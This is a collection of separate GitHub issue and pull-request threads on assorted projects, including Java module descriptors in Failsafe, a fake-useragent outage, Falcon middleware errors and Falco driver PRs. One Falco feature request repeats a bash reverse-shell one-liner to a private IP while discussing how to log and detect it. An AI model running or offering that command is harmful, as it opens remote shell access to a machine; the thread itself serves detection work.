text:
Configure explicit Java module descriptors

Use the ModiTect plugin to add module descriptors while retaining Java 8 compatibility.
Fix for #358
NOTE: The release must be run with Java9+ or else it will fail to generate module descriptors. The CI workflow runs tests with 8, 11, and 17 which is fine as long as the package phase is not invoked.

$ jarviz bytecode show --file core/target/failsafe-3.3.1-SNAPSHOT.jar
subject: failsafe-3.3.1-SNAPSHOT.jar
Unversioned classes. Bytecode version: 52 (Java 8) total: 114
Versioned classes 9. Bytecode version: 53 (Java 9) total: 1

$ jarviz module descriptor --file core/target/failsafe-3.3.1-SNAPSHOT.jar
subject: failsafe-3.3.1-SNAPSHOT.jar
name: dev.failsafe.core
version: 3.3.1-SNAPSHOT
open: false
automatic: false
exports:
  dev.failsafe
  dev.failsafe.event
  dev.failsafe.function
  dev.failsafe.internal
  dev.failsafe.internal.util
  dev.failsafe.spi
requires:
  java.base mandated

$ jarviz module descriptor --file modules/okhttp/target/failsafe-okhttp-3.3.1-SNAPSHOT.jar
subject: failsafe-okhttp-3.3.1-SNAPSHOT.jar
name: dev.failsafe.okhttp
version: 3.3.1-SNAPSHOT
open: false
automatic: false
exports:
  dev.failsafe.okhttp
requires:
  dev.failsafe.core
  java.base mandated
  okhttp3

$ jarviz module descriptor --file modules/retrofit/target/failsafe-retrofit-3.3.1-SNAPSHOT.jar
subject: failsafe-retrofit-3.3.1-SNAPSHOT.jar
name: dev.failsafe.retrofit
version: 3.3.1-SNAPSHOT
open: false
automatic: false
exports:
  dev.failsafe.retrofit
requires:
  dev.failsafe.core
  java.base mandated
  retrofit2

Thanks for this @aalmiray. Just to confirm, binary backwards compatibility with 1.8 runtimes should still be fine since we're targeting 1.8, it's just that the tooling needed to generate the module descriptors requires 9+?

Thanks for this @aalmiray. My only comment (above) is wanting to ensure that we don't break 1.8 compatibility.

Understood. This is how classes would look like once packaged:
$ jarviz bytecode show --file core/target/failsafe-3.3.1-SNAPSHOT.jar
subject: failsafe-3.3.1-SNAPSHOT.jar
Unversioned classes. Bytecode version: 52 (Java 8) total: 114
Versioned classes 9. Bytecode version: 53 (Java 9) total: 1

The build was run with Java 11. The single class with bytecode 53 is module-info.class which is placed in the versioned space:
$ unzip -l core/target/failsafe-3.3.1-SNAPSHOT.jar
Archive:  core/target/failsafe-3.3.1-SNAPSHOT.jar
  Length      Date    Time    Name
---------  ---------- -----   ----
     1359  03-16-2023 08:07   META-INF/MANIFEST.MF
        0  03-16-2023 08:07   META-INF/
        0  03-16-2023 08:07   dev/
        0  03-16-2023 08:07   dev/failsafe/
        0  03-16-2023 08:07   dev/failsafe/internal/
        0  03-16-2023 08:07   dev/failsafe/internal/util/
        0  03-16-2023 08:07   dev/failsafe/function/
        0  03-16-2023 08:07   dev/failsafe/spi/
        0  03-16-2023 08:07   dev/failsafe/event/
        0  03-16-2023 08:07   META-INF/maven/
        0  03-16-2023 08:07   META-INF/maven/dev.failsafe/
        0  03-16-2023 08:07   META-INF/maven/dev.failsafe/failsafe/
     1511  03-16-2023 08:07   dev/failsafe/RateLimiterConfig.class
...
     1845  03-16-2023 08:07   dev/failsafe/Failsafe.class
     1371  03-16-2023 08:07   dev/failsafe/FailurePolicyConfig.class
        0  03-16-2023 08:07   META-INF/versions/
        0  03-16-2023 08:07   META-INF/versions/9/
      319  03-16-2023 08:07   META-INF/versions/9/module-info.class

I don't know enough about Maven pom files to give an authoritative answer, but here's the line I had to change in my ivy.xml file (for the StreamEx library):
    <dependency org="one.util" name="streamex" rev="0.8.1"/>

This stopped working until I changed it to:
    <dependency org="one.util" name="streamex" rev="0.8.1">
      <!-- Distributed as multi-release-jar; ask for jar explicitly -->
      <artifact name="streamex" type="jar" />
    </dependency>

You could reasonably say that it's not such a big deal, but it took me a long time to figure this out, and until I did, I was shut out of updating to the latest release of StreamEx.
I am reasonably confident that a similar transformation would work if Failsafe goes this route, but I don't know for sure. There are probably others who, for various reasons, are stuck on Java 8 and who don't directly use Maven but depend on its ecosystem.

It looks like streamex-0.8.0 explicitly changed its packaging go "multirelease-jar" https://central.sonatype.com/artifact/one.util/streamex/0.8.0
Version 0.8.1 went back to default "jar" packaging.
This was a conscious decision of the author to modify the companion metadata (pom.xml) and has nothing to do with the actual JAR contents.
ModiTect does not alter in any way the chosen packaging, rest assured the fix you had to put in place for streamex was explicit for that version alone.

Fingers crossed.

This was released in Failsafe 3.3.1.

Thank you for merging and releasing 😁

authors: Tembrel aalmiray jhalterman

repo: failsafe-lib/failsafe


text:
chore(master): release 3.1.0

:robot: I have created a release beep boop
3.1.0 (2024-06-14)
Features

fdp contracts option (#123) (147d41d)

Bug Fixes

node fetch (#144) (ef6d623)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/fairDataSociety/fdp-play/releases/tag/v3.1.0 :sunflower:

Release v3.1.0 addresses this.

source: gharchive/pull-request

repo: fairDataSociety/fdp-play

license_type: permissive

license_source: github-api


text:
Change Password

Idea
Users may have leaked their password online or just need to change it for a number of different reasons. There needs to be some endpoints for changing the user's password. The user must also be logged in to use this endpoint or else it would defeat the purpose immensely.
Todo

[x] Allow Users to Change Passwords
[x] Users can only change passwords if logged in
[x] Password cannot match existing password
[x] Endpoints

[x] Set Password

[x] Testing

[x] Set Password

Almost done- just need to do testing...

Finished it all up!

source: gharchive/issue

repo: fairfield-programming/backend-server

license: MIT


text:
[CRITICAL] http://www.useragentstring.com/ down

This site being down renders the package useless.

see #95

I was aware of that issue, thanks. I would normally not replicate issues unless I wanted to bring attention to the discussion. I wanted to do it because of the importance of the problem.

If the cache server happened to be up, it could fix this downtime (I guess it'd be DDoSed to death by the users tho). But it's also offline.

@g0per yes, you are right about the heroku cache server being down, but it is weird:

If the cache server happened to be up, it could fix this downtime (I guess it'd be DDoSed to death by the users tho). But it's also offline.

Error occurred during loading data. Trying to use cache server https://fake-useragent.herokuapp.com/browsers/0.1.11
Traceback (most recent call last):
  File "/usr/local/lib/python3.8/urllib/request.py", line 1350, in do_open
    h.request(req.get_method(), req.selector, req.data, headers,
  File "/usr/local/lib/python3.8/http/client.py", line 1240, in request
    self._send_request(method, url, body, headers, encode_chunked)
  File "/usr/local/lib/python3.8/http/client.py", line 1286, in _send_request
    self.endheaders(body, encode_chunked=encode_chunked)
  File "/usr/local/lib/python3.8/http/client.py", line 1235, in endheaders
    self._send_output(message_body, encode_chunked=encode_chunked)
  File "/usr/local/lib/python3.8/http/client.py", line 1006, in _send_output
    self.send(msg)
  File "/usr/local/lib/python3.8/http/client.py", line 946, in send
    self.connect()
  File "/usr/local/lib/python3.8/http/client.py", line 917, in connect
    self.sock = self._create_connection(
  File "/usr/local/lib/python3.8/socket.py", line 808, in create_connection
    raise err
  File "/usr/local/lib/python3.8/socket.py", line 796, in create_connection
    sock.connect(sa)
socket.timeout: timed out

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.8/site-packages/fake_useragent/utils.py", line 64, in get
    with contextlib.closing(urlopen(
  File "/usr/local/lib/python3.8/urllib/request.py", line 222, in urlopen
    return opener.open(url, data, timeout)
  File "/usr/local/lib/python3.8/urllib/request.py", line 525, in open
    response = self._open(req, data)
  File "/usr/local/lib/python3.8/urllib/request.py", line 542, in _open
    result = self._call_chain(self.handle_open, protocol, protocol +
  File "/usr/local/lib/python3.8/urllib/request.py", line 502, in _call_chain
    result = func(*args)
  File "/usr/local/lib/python3.8/urllib/request.py", line 1379, in http_open
    return self.do_open(http.client.HTTPConnection, req)
  File "/usr/local/lib/python3.8/urllib/request.py", line 1353, in do_open
    raise URLError(err)
urllib.error.URLError: <urlopen error timed out>

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.8/site-packages/fake_useragent/utils.py", line 164, in load
    browsers_dict[browser_key] = get_browser_versions(
  File "/usr/local/lib/python3.8/site-packages/fake_useragent/utils.py", line 120, in get_browser_versions
    html = get(
  File "/usr/local/lib/python3.8/site-packages/fake_useragent/utils.py", line 84, in get
    raise FakeUserAgentError('Maximum amount of retries reached')
fake_useragent.errors.FakeUserAgentError: Maximum amount of retries reached

Opening https://fake-useragent.herokuapp.com/browsers/0.1.11 in the browser gives a valid response, but the retries within the package is failing. 🤔
Just curious: Could this be a case of heroku cache server being down due to inactivity? But then the retry requests should wake it up right?

It's solved now. Package the package: pip install --upgrade fake-useragent

repo: fake-useragent/fake-useragent


text:
How to run example

Hi, i want to try the example code but have a problem:
I try to run on this way:
$ gunicorn3 look.app:get_app
the server is running and listening but when i try to access by the browser y get this error:
TypeError: get_app() takes no arguments (2 given)
I am using:
gunicorn3 (version 19.7.1)
Python 3.6.3
What i am doing wrong?
Regards.

From the tutorial (scroll down from here)

The command to run the application is now:
$ gunicorn --reload 'look.app:get_app()'

Um, thanks for answer, i am very noob, but i am lerning.
It worked, thanks

authors: holic-cl im-auld

repo: falconry/falcon


text:
Middleware post process error handling

When middleware is added to the api and we have a post_process on it, any exceptions thrown in the responder are not aggregated to an appropriate response. Instead, they are ignored and the post_process attempts to run on as though nothing happened.
It does not matter whether an exception handler is added to the api or not.
Let me know if I just misunderstood how to handle these

Hi @esmalifesum, thanks for bringing up this issue. You are correct in that the framework does not skip process_response methods when an exception is raised. This is done in case those methods need to perform critical post-processing steps.
When an instance of falcon.HTTPError is raised in a responder, the framework should render that into a response, while also executing process_response. Similarly, when other types of exception are raised, custom error handlers are given the chance to render that into a response. If you are seeing a situation in which the errors are not rendering into a response, that's definitely a bug.
Also, while looking at the code, I found a a case in which the exception is rendered to a response only after passing through the middleware components. Conceptually, as well as for the sake of consistency, I think it would make more sense to always render the response from the exception first.
Is there a particular type of middleware you hand in mind that should be short-circuited when an error is raised? If that functionality is useful, we can brainstorm some ways to support it.

Hi Kurt,
We have an exception handler currently wrapped around the responders. If
any of these raise an exception, we will handle the exception as our app
needs within the handler. If this happens, I would expect for my post
processors not to even be called as they are there to process only
valid/sane responses from the responders.
Are you saying that each middleware's post process method should have an
exception handler on its own as well?
Maybe I'm not thinking around this the right way and there's a better
pattern for it. If so, can you provide a more thorough scenario/pattern for
us to follow?
Esma
On Thu, Sep 17, 2015 at 5:31 AM, Kurt Griffiths notifications@github.com
wrote:

Hi @esmalifesum https://github.com/esmalifesum, thanks for bringing up
this issue. You are correct in that the framework does not skip
process_response methods when an exception is raised. This is done in
case those methods need to perform critical post-processing steps.
When an instance of falcon.HTTPError is raised in a responder, the
framework should render that into a response, while also executing
process_response. Similarly, when other types of exception are raised,
custom error handlers are given the chance to render that into a response.
If you are seeing a situation in which the errors are not rendering into a
response, that's definitely a bug.
Also, while looking at the code, I found a a case in which the exception
is rendered to a response only after passing through the middleware
components. Conceptually, as well as for the sake of consistency, I think
it would make more sense to always render the response from the exception
first.
Is there a particular type of middleware you hand in mind that should be
short-circuited when an error is raised? If that functionality is useful,
we can brainstorm some ways to support it.
—
Reply to this email directly or view it on GitHub
https://github.com/falconry/falcon/issues/606#issuecomment-140959511.

There are times when you may want to perform post-processing regardless of whether an error was raised. But I can see your point about a need to be more selective in some cases.
One way we could support this would be by adding an additional middleware method, process_successful_response(). Thoughts?

Yes, I think something like that would allow us more flexibility and let us avoid coding nonsense into middleware just to handle exceptions when there is already an exceptions handler. My team would definitely use your suggested method.

Is there any progress regarding this issue?
I need to validate responses agains swagger schema.
When a falcon HTTP exception is raised in a responder or in process_resource middleware method (which raises HTTPBadRequest when request body is invalid), the status code of the response is still 200 when it comes to process_response.
At which point does falcon set appropriate response status and body when an HTTP error is raised?
How can I process only successful responses?
How can I identify that a response is not successful in a process_response middleware method?

Hi everyone, the middleware handling has been reworked such that the status code will now be updated before process_response is called. Please try the latest code from master and let me know how it goes.
I've also got a patch up to pass a flag to process_response() so that the logic can key off whether the request succeeded or not. Check it out and let me know what you think: #890

authors: collateraldamadge esmalifesum kgriffs


text:
chore(ci): disable integration tests to allow master CI to push new builder images.

What type of PR is this?
/kind cleanup
Any specific area of the project related to this PR?
/area build
What this PR does / why we need it:
Disable for now integration tests to allow master ci to push new builder images.
I will enable them back once master CI is green.
Which issue(s) this PR fixes:
Fixes #
Special notes for your reviewer:
Does this PR introduce a user-facing change?:

LGTM label has been added.  Git tree hash: 2378c838374763e5a4b2c616a95632e0e6329158

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: dwindsor, FedeDP
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [FedeDP,dwindsor]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

authors: FedeDP poiana

repo: falcosecurity/driverkit


text:
update(content/docs): correct dummy plugin Go source code link

Signed-off-by: Matthew White matthew.w.white@oracle.com
What type of PR is this?
/kind cleanup
/kind content
Any specific area of the project related to this PR?
/area documentation
What this PR does / why we need it:
Corrects the link to the dummy plugin Go source code in the dummy walkthrough.
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:
I'm assuming the entrypoint/main is correct for this, despite there being another dummy.go in the pkg directory.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: matthewjwhite
Once this PR has been reviewed and has the lgtm label, please assign leogr for approval by writing /assign @leogr in a comment. For more information see:The Kubernetes Code Review Process.
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

Welcome @matthewjwhite! It looks like this is your first PR to falcosecurity/falco-website 🎉

LGTM label has been added.  Git tree hash: 184ab69cf0e2e1429a124d77b44517479a83652a

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: jasondellaluce, matthewjwhite
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [jasondellaluce]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

authors: matthewjwhite poiana

repo: falcosecurity/falco-website


text:
support raw log output and capturing the full command line

Motivation

I hope Falco can support raw log output, such as all process creation, file read/write operations, etc. This can help in better contextual analysis. I also hope that the logs of process creation can be more detailed. Due to limitations with execve, commands like bash -i >& /dev/tcp/192.168.1.1/2333 0>&1 only show bash -i in the command line, and the rest of the command is not recorded. I have tried using audit and some eBPF tools but could not obtain the complete command line.
Feature

I wish for Falco to support raw log output, capturing all operations like process creation and file read/write. Additionally, I hope for more detailed logging of process creation, capturing the full command line even for complex commands like bash -i >& /dev/tcp/192.168.1.1/2333 0>&1.
Alternatives

I have considered using audit and some eBPF tools, but none of them were able to capture the complete command line for process creation.
Additional context

Adding this feature will significantly enhance contextual analysis capabilities, making it easier to investigate and understand the full scope of events.

Hello @Jumbo-WJB,
The tool you're looking for already exists, it's more or less the "big brother" of Falco. Both have been created by Sysdig and use the same technologies/libs underlying. This tool is https://github.com/draios/sysdig/, it allows you to captures the syscalls following filters (same fields and logic than those used in the Falco rules). The captures can be then be read and pass through chisel to format the results.
To know more, you can read a post I wrote about it years ago https://github.com/Issif/sysdig-vs-malware or watch a talk I did at KCD Czech & Slovak 2w ago https://www.youtube.com/watch?v=ScluwvDdYqg.
Moreover, as the libs and the syntax are the same, you use the captures made by sysdig as source for Falco, it allows use to tune the rules "on cold".

@Issif  Thank you. I will look into the tools and YouTube

Through sysdig and YouTube, I found that sysdig and Falco are great tools. However, regarding the command bash -i >& /dev/tcp/192.168.1.1/2333 0>&1, I discovered that using execve cannot capture the full command line because the commands after the pipe symbol are executed within the shell interpreter without creating a new subprocess. Therefore, using execve for this command only yields the simple result bash -i. Of course, the command bash -i >& /dev/tcp/192.168.1.1/2333 0>&1 can be detected and alerted by monitoring the file descriptors of the bash process. However, if I want to capture the full command line, can Falco help me with this?

I see your point, I did some tests on my side. Effectively, I wasn't able to catch the exact command used to create the reverse shell.
1267 12:34:09.309076762 0 bash (15660.15660) < execve res=0 exe=bash args=-i. tid=15660(bash) pid=15660(bash) ptid=14475(bash) cwd=<NA> fdlimit=1073741816 pgft_maj=0 pgft_min=54 vm_size=1800 vm_rss=4 vm_swap=0 comm=bash cgroups=cpuset=/system.slice/docker-a99860c5ab2331098d00fba3948beb55f07f34addff0d7f40... env=HOSTNAME=a99860c5ab23.PWD=/.HOME=/root.LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00... tty=34816 pgid=20 loginuid=-1(<NONE>) flags=1(EXE_WRITABLE) cap_inheritable=0 cap_permitted=A80425FB cap_effective=A80425FB exe_ino=475 exe_ino_ctime=2024-04-08 09:29:48.832867775 exe_ino_mtime=2022-01-06 16:23:33.000000000 uid=0(<NA>) trusted_exepath=/usr/bin/bash

On the other side, this is not the philosophy of Falco to "capture" this whole command, it has been created to detect the finality, which is the reverse shell. In other words, the redirections to a network connection of the stdin/out.
We have a rule for that: https://falco.org/docs/reference/rules/default-rules/#Redirect_STDOUT/STDIN_to_Network_Connection_in_Container and you can find a blog post from Sysdig which explains what are the reverse shells and how to detect them with Falco https://sysdig.com/blog/reverse-shell-falco-sysdig-secure/

Issues go stale after 90d of inactivity.
Mark the issue as fresh with /remove-lifecycle stale.
Stale issues rot after an additional 30d of inactivity and eventually close.
If this issue is safe to close now please do so with /close.
Provide feedback via https://github.com/falcosecurity/community.
/lifecycle stale

authors: Issif Jumbo-WJB poiana

repo: falcosecurity/falco


text:
chore: sync release branch 0.11.x

What type of PR is this?
/kind feature
Any specific area of the project related to this PR?
/area libsinsp
Does this PR require a change in the driver versions?
What this PR does / why we need it:
This PR syncs the release branch with these PRs:

[x] https://github.com/falcosecurity/libs/pull/1126
[x] https://github.com/falcosecurity/libs/pull/1128

Which issue(s) this PR fixes:
Special notes for your reviewer:
Does this PR introduce a user-facing change?:
NONE

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: Andreagit97
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [Andreagit97]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

/hold wait for the CI (required statuses are not enabled on this branch)

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: Andreagit97, LucaGuerra
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [Andreagit97,LucaGuerra]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

LGTM label has been added.  Git tree hash: 5dc27973805355895a8209ec8ff748418b015534

master is green, we can go on :)
/unhold

authors: Andreagit97 LucaGuerra poiana

repo: falcosecurity/libs


text:
fix compiler -Wsign-compare warnings

What type of PR is this?

Uncomment one (or more) /kind <> lines:

/kind bug

/kind cleanup

/kind design

/kind documentation

/kind failing-test

/kind feature

Any specific area of the project related to this PR?

Uncomment one (or more) /area <> lines:

/area API-version

/area build

/area CI

/area driver-kmod

/area driver-bpf

/area driver-modern-bpf

/area libscap-engine-bpf

/area libscap-engine-gvisor

/area libscap-engine-kmod

/area libscap-engine-modern-bpf

/area libscap-engine-nodriver

/area libscap-engine-noop

/area libscap-engine-source-plugin

/area libscap-engine-savefile

/area libscap-engine-udig

/area libscap

/area libpman

/area libsinsp

/area tests

/area proposals

Does this PR require a change in the driver versions?

/version driver-API-version-major

/version driver-API-version-minor

/version driver-API-version-patch

/version driver-SCHEMA-version-major

/version driver-SCHEMA-version-minor

/version driver-SCHEMA-version-patch

What this PR does / why we need it: this PR fixes compiler warnings related to signed vs unsigned comparison (-Wsign-compare)
Which issue(s) this PR fixes: removes some build warnings

Fixes #
Special notes for your reviewer:
Does this PR introduce a user-facing change?:

NONE

Welcome @oheifetz! It looks like this is your first PR to falcosecurity/libs 🎉

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: FedeDP, oheifetz
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [FedeDP]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

LGTM label has been added.  Git tree hash: 74abe9a6fd7262093c68343934212e44ab1c7aca

/milestone 0.12.0

New changes are detected. LGTM label has been removed.

LGTM label has been added.  Git tree hash: 74abe9a6fd7262093c68343934212e44ab1c7aca

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: FedeDP, LucaGuerra, oheifetz
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [FedeDP,LucaGuerra]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

authors: FedeDP oheifetz poiana


text:
new(libsinsp/test): add new async_key_value_source tests

What type of PR is this?

Uncomment one (or more) /kind <> lines:

/kind bug

/kind cleanup

/kind design

/kind documentation

/kind failing-test

/kind feature

Any specific area of the project related to this PR?

Uncomment one (or more) /area <> lines:

/area API-version

/area build

/area CI

/area driver-kmod

/area driver-bpf

/area driver-modern-bpf

/area libscap-engine-bpf

/area libscap-engine-gvisor

/area libscap-engine-kmod

/area libscap-engine-modern-bpf

/area libscap-engine-nodriver

/area libscap-engine-noop

/area libscap-engine-source-plugin

/area libscap-engine-savefile

/area libscap

/area libpman

/area libsinsp

/area tests

/area proposals

Does this PR require a change in the driver versions?

/version driver-API-version-major

/version driver-API-version-minor

/version driver-API-version-patch

/version driver-SCHEMA-version-major

/version driver-SCHEMA-version-minor

/version driver-SCHEMA-version-patch

What this PR does / why we need it:
This adds new unit tests for the async key value source.
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:
Does this PR introduce a user-facing change?:

NONE

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: therealbobo
Once this PR has been reviewed and has the lgtm label, please assign lucaguerra for approval. For more information see the Kubernetes Code Review Process.
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: FedeDP, therealbobo
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [FedeDP]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

LGTM label has been added.  Git tree hash: b926ea84bb4ea9748c50ef1ee163bc32b90a7bfa

/milestone 0.15.0

New changes are detected. LGTM label has been removed.

LGTM label has been added.  Git tree hash: de9535e7ea9cc575d113919e0726ee85200bc67a

/unhold

authors: FedeDP poiana therealbobo


text:
fix(readme): minimum kver to build kmod on arm64 is 3.16.

What type of PR is this?
/kind documentation
Any specific area of the project related to this PR?
Does this PR require a change in the driver versions?
What this PR does / why we need it:
HAVE_SYSCALL_TRACEPOINTS was added to arm64 in linux 3.16: https://github.com/torvalds/linux/commit/055b1212d141f1f398fca548f8147787c0b6253f
Properly bump minimum kver to build kmod on arm64.
Which issue(s) this PR fixes:
Fixes #
Special notes for your reviewer:
Does this PR introduce a user-facing change?:
NONE

/milestone 0.11.0

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: FedeDP
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [FedeDP]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: Andreagit97, FedeDP
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [Andreagit97,FedeDP]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: Andreagit97, FedeDP, jasondellaluce
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [Andreagit97,FedeDP,jasondellaluce]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


text:
同时使用人数过多是否支持队列

如分钟内使用人数10左右，每人两到三条消息似乎部分用户无法接受到反馈

@eeezae 可以查看一下日志，OpenAI 应该有接口上的限流的。https://help.openai.com/en/articles/5955598-is-api-usage-subject-to-any-rate-limits

好的，谢谢，请问这个是否可以配置使用chatgpt plus的API？我们十几个人用似乎经常会无法收到回复，想升级体验

authors: eeezae fanchunke

repo: fanchunke/chatgpt-wecom


text:
Implement vectorized message sending

In the current version, AppMetrics client sends single message per HTTP request. This works slowly and creates lag from message generation to the moment of delivery. It's necessary to send multiple messages per HTTP request.

done

repo: fandrei/AppMetrics

license_source: bigquery


text:
运行报错.

npm  启动到99%时,报错:
请问这是何故?

我也是，运行报错

@pheromone 我的错误和你一模一样，请问怎么解决的

无解 @caoyunxiao

@pheromone 同问 。。。

我是把node_modules\react-native-scrollable-tab-view\DefaultTabBar，ScrollableTabBar，index里面的ViewPropTypes改成了View.propTypes，不知道这样对不对

@bighanber 请问这样改可以运行吗?

@pheromone 反正没报错了，但是里面的内容很奇怪

hi, guys, flow these:
Step1
cd node_modules\react-native-scrollable-tab-view, change ViewPropTypes to
View.propTypes in DefaultTabBar, ScrollableTabBar and index
Step2
npm install --save react-native-vector-icons@4.0
if you have any other questions, please use node v5.2.0 or higher version(nvm could perfectly
resolve it).
Enjoy it!

@AlsaceGH  按上述步骤操作后 ，还提示：Unrecognized font family "ionicons"
参考：https://github.com/oblador/react-native-vector-icons#option-manually  在xcode工程中把字体拖到相应目录下~  ok~

还是不能解决呀

@AlsaceGH  it does not work

@yatessss  https://github.com/oblador/react-native-vector-icons#option-manually
If you want to use any of the bundled icons, you need to add the icon fonts to your Xcode project. Just follow these steps:

Browse to node_modules/react-native-vector-icons and drag the folder Fonts (or just the ones you want) to your project in Xcode. Make sure your app is checked under "Add to targets" and that "Create groups" is checked if you add the whole folder.
Edit Info.plist and add a property called Fonts provided by application (or UIAppFonts if Xcode won't autocomplete/not using Xcode) and type in the files you just added. It will look something like this:
XCode screenshot
![image](https://user-images.githubusercontent.com/15083482/27619144-11c0c65c-5bf3-11e7-942a-5b3b0f2f9120.png)

Note: you need to recompile your project after adding new fonts, also ensure that they also appear under Copy Bundle Resources in Build Phases.

If you want to use the TabBar/NavigatorIOS integration or use getImageSource, then you need to add RNVectorIcons.xcodeproj to Libraries and add libRNVectorIcons.a to Link Binary With Libraries under Build Phases. More info and screenshots about how to do this is available in the React Native documentation.

I follow @AlsaceGH suggestion, and  use "npm install react-native-scrollable-tab-view@0.6.3“  from 0.6.0.
succeed.（android 6.0）
this blog http://blog.csdn.net/xcx0215/article/details/72221602
按照AlsaceGH的步骤，改掉驼峰写法。再把插件版本升高。应该就可以了。如果期间出现不能发现某某字体，ttf结尾的。就把react-native-vector-icons这个包下的fonts字体放在提示错误的地方。

参照@yatessss的方案解决了，虽然会有warning，但是终于不报红了。。。

authors: AlsaceGH DevaLee Easte-r PengJuWang ZouGuanghua bighanber caoyunxiao pheromone wff- yatessss

license: mit


text:
Compilation error when using Free Pascal 3.0.4

Cannot compile Fano web application when using Free Pascal compiler version 3.0.4.
NullRouteArgsImpl.pas(80,19) Error: Incompatible types: got "Empty Set" expected "TArrayOfPlaceholders"

and
SigTermImpl.pas(80,30) Error: Incompatible types: got "<class method type of procedure(LongInt;psiginfo;PSigContext) of object;CDecl>" expected "<procedure variable type of procedure(LongInt;psiginfo;PSigContext);CDecl>"

which related to Free Pascal bug 27414

Fixed in 559e385be5e

repo: fanoframework/fano


text:
3.4.10的etcd权限变化

https://github.com/etcd-io/etcd/blob/master/CHANGELOG-3.4.md#breaking-changes
etcd 3.4.10引入了一个不兼容以前的权限，Linux下etcd的数据目录权限必须为0700，我用kubeadm和二进制都测试了会导致etcd无法启动。这个问题需要解决

哪个k8s版本出的问题 ？

和版本无关，是etcd 3.4.10引入这个变动的特性，如果etcd是3.4.10+则要改目录权限

k8s主版本还没用到3.4吧

authors: cuisongliu fanux zhangguanzhang

repo: fanux/sealos


text:
[non-pertinent] Functional Travis CI

Xcode 12.1 <- 12.2 in .yml until stable
build passes with Realm 10.0.10+
for consideration/testing across branches moving ahead

The Travis branch (plus a lot of other fixes) has already been merged to RelistenNet/relisten-ios:master. I thought I had deleted the Travis branch in my repo after I made that merge, but I guess I forgot.
Why the change from 12.2 to 12.1?
Is there anything here that isn't already on master that should be taken? If so, please create a new PR on the RelistenNet repository with those changes.

authors: farktronix lukeswitz

repo: farktronix/relisten-ios


text:
the social icons at the bottom don't work

The social icons at the bottom are not wrapped in a link <a />
Could somebody add urls for twitter/x and discord?
Also, is there a svg for X (formerly twitter)?

We'll add it


text:
Allow expanding directories and searching for files inside directories

The current version of AiFormat works great for smaller code bases.
The ability to expand folders, and search for folders that can be deeply nested into folders would be helpful.

Implemented caa536b1dc7e14be806546c3254835e643b0926e

repo: farouqaldori/aiformat


text:
Add indentation

Add appropriate indentation in underscore.cpp file. All the implementation is left-aligned.

I can see that indentation has been there.

I dont think so. Maybe you are looking the code from GitHub, and the code they show is slightly seen indented. Can you clone it and check it out.

Ok I will do that


text:
compilation error

getRandomPort() method is referenced in lia.util.net.common.Config.java but is not defined - leading to a "cannot find symbol" compilation error
latest commit is 713139fcbb0cb8bb02490c16684c96d2b61fa225

Do a git checkout prod and try again. The branch after cloning is in development is my guess.
The production branch seems to work fine to me. You might need to install some tools though, depending on your operating system.

I had a closer look at it. There seems to be missing the method below. Once you add it, it compiles. I did not test it though.
Maybe it is a bug that this part is missing or maybe the development is not finished yet.
    private int getRandomPort(int defaultPort)
    {
        int randomPort = -1;
        try {
            Random r = new Random();
            randomPort = r.nextInt(((defaultPort + portRange) - defaultPort) + 1) + defaultPort;
            logger.log(Level.INFO, "Auto FDT on port " + randomPort);
            new Thread(new Runnable() {
                @Override
                public void run() {
                    new FDTMain();
                }
            }, "FDT custom port " + randomPort).start();
        }
